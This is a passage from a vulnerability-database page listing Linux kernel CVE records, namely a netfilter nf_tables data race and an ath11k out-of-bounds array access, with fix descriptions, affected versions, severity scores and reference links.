(lib/bug.c:201 lib/bug.c:219)\n ? handle_bug (arch/x86/kernel/traps.c:285)\n ? exc_invalid_op (arch/x86/kernel/traps.c:309 (discriminator 1))\n ? asm_exc_invalid_op (./arch/x86/include/asm/idtentry.h:621)\n ? _raw_spin_unlock_irqrestore (./arch/x86/include/asm/irqflags.h:42 ./arch/x86/include/asm/irqflags.h:97 ./arch/x86/include/asm/irqflags.h:155 ./include/linux/spinlock_api_smp.h:151 kernel/locking/spinlock.c:194)\n ? ref_tracker_dir_exit (lib/ref_tracker.c:179)\n ? __pfx_ref_tracker_dir_exit (lib/ref_tracker.c:158)\n ? kfree (mm/slub.c:4613 mm/slub.c:4761)\n net_free (net/core/net_namespace.c:476 net/core/net_namespace.c:467)\n cleanup_net (net/core/net_namespace.c:664 (discriminator 3))\n process_one_work (kernel/workqueue.c:3229)\n worker_thread (kernel/workqueue.c:3304 kernel/workqueue.c:3391\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:04:19.890Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c986380c1d5274c4d5e935addc807d6791cc23eb"
        },
        {
          "url": "https://git.kernel.org/stable/c/5f1678346109ff3a6d229d33437fcba3cce9209d"
        },
        {
          "url": "https://git.kernel.org/stable/c/036f8d814a2cd11ee8ef62b8f3e7ce5dec0ee4f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/efec287cbac92ac6ee8312a89221854760e13b34"
        },
        {
          "url": "https://git.kernel.org/stable/c/bb11f992f5a475bc68ef959f17a55306f0328495"
        },
        {
          "url": "https://git.kernel.org/stable/c/86f73d4ab2f27deeff22ba9336ad103d94f12ac7"
        },
        {
          "url": "https://git.kernel.org/stable/c/eb28fd76c0a08a47b470677c6cef9dd1c60e92d1"
        }
      ],
      "title": "gtp: Destroy device along with udp socket\u0027s netns dismantle.",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21678",
    "datePublished": "2025-01-31T11:25:39.500Z",
    "dateReserved": "2024-12-29T08:45:45.738Z",
    "dateUpdated": "2026-05-12T12:03:10.577Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27020 (GCVE-0-2024-27020)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:30 – Updated: 2026-05-12 11:51

Title

netfilter: nf_tables: Fix potential data-race in __nft_expr_type_get()

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: Fix potential data-race in __nft_expr_type_get() nft_unregister_expr() can concurrent with __nft_expr_type_get(), and there is not any protection when iterate over nf_tables_expressions list in __nft_expr_type_get(). Therefore, there is potential data-race of nf_tables_expressions list entry. Use list_for_each_entry_rcu() to iterate over nf_tables_expressions list in __nft_expr_type_get(), and use rcu_read_lock() in the caller nft_expr_type_get() to protect the entire type query process.

Severity ?

7 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/939109c0a8e2a006a…
https://git.kernel.org/stable/c/b38a133d37fa421c8…
https://git.kernel.org/stable/c/934e66e231cff2b18…
https://git.kernel.org/stable/c/0b6de00206adbbfc6…
https://git.kernel.org/stable/c/8d56bad42ac4c43c6…
https://git.kernel.org/stable/c/a9ebf340d123ae125…
https://git.kernel.org/stable/c/01f1a678b05ade4b1…
https://git.kernel.org/stable/c/f969eb84ce482331a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ef1f7df9170dbd875ce198ba84e6ab80f6fc139e , < 939109c0a8e2a006a6cc8209e262d25065f4403a (git) Affected: ef1f7df9170dbd875ce198ba84e6ab80f6fc139e , < b38a133d37fa421c8447b383d788c9cc6f5cb34c (git) Affected: ef1f7df9170dbd875ce198ba84e6ab80f6fc139e , < 934e66e231cff2b18faa2c8aad0b8cec13957e05 (git) Affected: ef1f7df9170dbd875ce198ba84e6ab80f6fc139e , < 0b6de00206adbbfc6373b3ae38d2a6f197987907 (git) Affected: ef1f7df9170dbd875ce198ba84e6ab80f6fc139e , < 8d56bad42ac4c43c6c72ddd6a654a2628bf839c5 (git) Affected: ef1f7df9170dbd875ce198ba84e6ab80f6fc139e , < a9ebf340d123ae12582210407f879d6a5a1bc25b (git) Affected: ef1f7df9170dbd875ce198ba84e6ab80f6fc139e , < 01f1a678b05ade4b1248019c2dcca773aebbeb7f (git) Affected: ef1f7df9170dbd875ce198ba84e6ab80f6fc139e , < f969eb84ce482331a991079ab7a5c4dc3b7f89bf (git)
Linux	Linux	Affected: 3.13 Unaffected: 0 , < 3.13 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.157 , ≤ 5.15.* (semver) Unaffected: 6.1.88 , ≤ 6.1.* (semver) Unaffected: 6.6.29 , ≤ 6.6.* (semver) Unaffected: 6.8.8 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-27020",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-30T19:26:58.391230Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-362",
                "description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-30T19:27:09.041Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:17:36.550Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/939109c0a8e2a006a6cc8209e262d25065f4403a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b38a133d37fa421c8447b383d788c9cc6f5cb34c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/934e66e231cff2b18faa2c8aad0b8cec13957e05"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0b6de00206adbbfc6373b3ae38d2a6f197987907"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8d56bad42ac4c43c6c72ddd6a654a2628bf839c5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a9ebf340d123ae12582210407f879d6a5a1bc25b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/01f1a678b05ade4b1248019c2dcca773aebbeb7f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f969eb84ce482331a991079ab7a5c4dc3b7f89bf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:12.204Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "939109c0a8e2a006a6cc8209e262d25065f4403a",
              "status": "affected",
              "version": "ef1f7df9170dbd875ce198ba84e6ab80f6fc139e",
              "versionType": "git"
            },
            {
              "lessThan": "b38a133d37fa421c8447b383d788c9cc6f5cb34c",
              "status": "affected",
              "version": "ef1f7df9170dbd875ce198ba84e6ab80f6fc139e",
              "versionType": "git"
            },
            {
              "lessThan": "934e66e231cff2b18faa2c8aad0b8cec13957e05",
              "status": "affected",
              "version": "ef1f7df9170dbd875ce198ba84e6ab80f6fc139e",
              "versionType": "git"
            },
            {
              "lessThan": "0b6de00206adbbfc6373b3ae38d2a6f197987907",
              "status": "affected",
              "version": "ef1f7df9170dbd875ce198ba84e6ab80f6fc139e",
              "versionType": "git"
            },
            {
              "lessThan": "8d56bad42ac4c43c6c72ddd6a654a2628bf839c5",
              "status": "affected",
              "version": "ef1f7df9170dbd875ce198ba84e6ab80f6fc139e",
              "versionType": "git"
            },
            {
              "lessThan": "a9ebf340d123ae12582210407f879d6a5a1bc25b",
              "status": "affected",
              "version": "ef1f7df9170dbd875ce198ba84e6ab80f6fc139e",
              "versionType": "git"
            },
            {
              "lessThan": "01f1a678b05ade4b1248019c2dcca773aebbeb7f",
              "status": "affected",
              "version": "ef1f7df9170dbd875ce198ba84e6ab80f6fc139e",
              "versionType": "git"
            },
            {
              "lessThan": "f969eb84ce482331a991079ab7a5c4dc3b7f89bf",
              "status": "affected",
              "version": "ef1f7df9170dbd875ce198ba84e6ab80f6fc139e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.13"
            },
            {
              "lessThan": "3.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.157",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.88",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.29",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.157",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.88",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.29",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.8",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: Fix potential data-race in __nft_expr_type_get()\n\nnft_unregister_expr() can concurrent with __nft_expr_type_get(),\nand there is not any protection when iterate over nf_tables_expressions\nlist in __nft_expr_type_get(). Therefore, there is potential data-race\nof nf_tables_expressions list entry.\n\nUse list_for_each_entry_rcu() to iterate over nf_tables_expressions\nlist in __nft_expr_type_get(), and use rcu_read_lock() in the caller\nnft_expr_type_get() to protect the entire type query process."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:08:51.842Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/939109c0a8e2a006a6cc8209e262d25065f4403a"
        },
        {
          "url": "https://git.kernel.org/stable/c/b38a133d37fa421c8447b383d788c9cc6f5cb34c"
        },
        {
          "url": "https://git.kernel.org/stable/c/934e66e231cff2b18faa2c8aad0b8cec13957e05"
        },
        {
          "url": "https://git.kernel.org/stable/c/0b6de00206adbbfc6373b3ae38d2a6f197987907"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d56bad42ac4c43c6c72ddd6a654a2628bf839c5"
        },
        {
          "url": "https://git.kernel.org/stable/c/a9ebf340d123ae12582210407f879d6a5a1bc25b"
        },
        {
          "url": "https://git.kernel.org/stable/c/01f1a678b05ade4b1248019c2dcca773aebbeb7f"
        },
        {
          "url": "https://git.kernel.org/stable/c/f969eb84ce482331a991079ab7a5c4dc3b7f89bf"
        }
      ],
      "title": "netfilter: nf_tables: Fix potential data-race in __nft_expr_type_get()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27020",
    "datePublished": "2024-05-01T05:30:15.908Z",
    "dateReserved": "2024-02-19T14:20:24.209Z",
    "dateUpdated": "2026-05-12T11:51:12.204Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49930 (GCVE-0-2024-49930)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:01 – Updated: 2026-05-12 11:59

Title

wifi: ath11k: fix array out-of-bound access in SoC stats

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: fix array out-of-bound access in SoC stats Currently, the ath11k_soc_dp_stats::hal_reo_error array is defined with a maximum size of DP_REO_DST_RING_MAX. However, the ath11k_dp_process_rx() function access ath11k_soc_dp_stats::hal_reo_error using the REO destination SRNG ring ID, which is incorrect. SRNG ring ID differ from normal ring ID, and this usage leads to out-of-bounds array access. To fix this issue, modify ath11k_dp_process_rx() to use the normal ring ID directly instead of the SRNG ring ID to avoid out-of-bounds array access. Tested-on: QCN9074 hw1.0 PCI WLAN.HK.2.7.0.1-01744-QCAHKSWPL_SILICONZ-1

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/0f26f26944035ec67…
https://git.kernel.org/stable/c/4dd732893bd38cec5…
https://git.kernel.org/stable/c/73e235728e515facc…
https://git.kernel.org/stable/c/7a552bc2f3efe2aaf…
https://git.kernel.org/stable/c/6045ef5b4b00fee36…
https://git.kernel.org/stable/c/01b77f5ee11c89754…
https://git.kernel.org/stable/c/69f253e46af98af17…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d5c65159f2895379e11ca13f62feabe93278985d , < 0f26f26944035ec67546a944f182cbad6577a9c0 (git) Affected: d5c65159f2895379e11ca13f62feabe93278985d , < 4dd732893bd38cec51f887244314e2b47f0d658f (git) Affected: d5c65159f2895379e11ca13f62feabe93278985d , < 73e235728e515faccc104b0153b47d0f263b3344 (git) Affected: d5c65159f2895379e11ca13f62feabe93278985d , < 7a552bc2f3efe2aaf77a85cb34cdf4a63d81a1a7 (git) Affected: d5c65159f2895379e11ca13f62feabe93278985d , < 6045ef5b4b00fee3629689f791992900a1c94009 (git) Affected: d5c65159f2895379e11ca13f62feabe93278985d , < 01b77f5ee11c89754fb836af8f76799d3b72ae2f (git) Affected: d5c65159f2895379e11ca13f62feabe93278985d , < 69f253e46af98af17e3efa3e5dfa72fcb7d1983d (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49930",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:39:11.615882Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:48:43.370Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:16.266Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:03.454Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/ath/ath11k/dp_rx.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0f26f26944035ec67546a944f182cbad6577a9c0",
              "status": "affected",
              "version": "d5c65159f2895379e11ca13f62feabe93278985d",
              "versionType": "git"
            },
            {
              "lessThan": "4dd732893bd38cec51f887244314e2b47f0d658f",
              "status": "affected",
              "version": "d5c65159f2895379e11ca13f62feabe93278985d",
              "versionType": "git"
            },
            {
              "lessThan": "73e235728e515faccc104b0153b47d0f263b3344",
              "status": "affected",
              "version": "d5c65159f2895379e11ca13f62feabe93278985d",
              "versionType": "git"
            },
            {
              "lessThan": "7a552bc2f3efe2aaf77a85cb34cdf4a63d81a1a7",
              "status": "affected",
              "version": "d5c65159f2895379e11ca13f62feabe93278985d",
              "versionType": "git"
            },
            {
              "lessThan": "6045ef5b4b00fee3629689f791992900a1c94009",
              "status": "affected",
              "version": "d5c65159f2895379e11ca13f62feabe93278985d",
              "versionType": "git"
            },
            {
              "lessThan": "01b77f5ee11c89754fb836af8f76799d3b72ae2f",
              "status": "affected",
              "version": "d5c65159f2895379e11ca13f62feabe93278985d",
              "versionType": "git"
            },
            {
              "lessThan": "69f253e46af98af17e3efa3e5dfa72fcb7d1983d",
              "status": "affected",
              "version": "d5c65159f2895379e11ca13f62feabe93278985d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/ath/ath11k/dp_rx.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath11k: fix array out-of-bound access in SoC stats\n\nCurrently, the ath11k_soc_dp_stats::hal_reo_error array is defined with a\nmaximum size of DP_REO_DST_RING_MAX. However, the ath11k_dp_process_rx()\nfunction access ath11k_soc_dp_stats::hal_reo_error using the REO\ndestination SRNG ring ID, which is incorrect. SRNG ring ID differ from\nnormal ring ID, and this usage leads to out-of-bounds array access. To fix\nthis issue, modify ath11k_dp_process_rx() to use the normal ring ID\ndirectly instead of the SRNG ring ID to avoid out-of-bounds array access.\n\nTested-on: QCN9074 hw1.0 PCI WLAN.HK.2.7.0.1-01744-QCAHKSWPL_SILICONZ-1"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:42:02.115Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0f26f26944035ec67546a944f182cbad6577a9c0"
        },
        {
          "url": "https://git.kernel.org/stable/c/4dd732893bd38cec51f887244314e2b47f0d658f"
        },
        {
          "url": "https://git.kernel.org/stable/c/73e235728e515faccc104b0153b47d0f263b3344"
        },
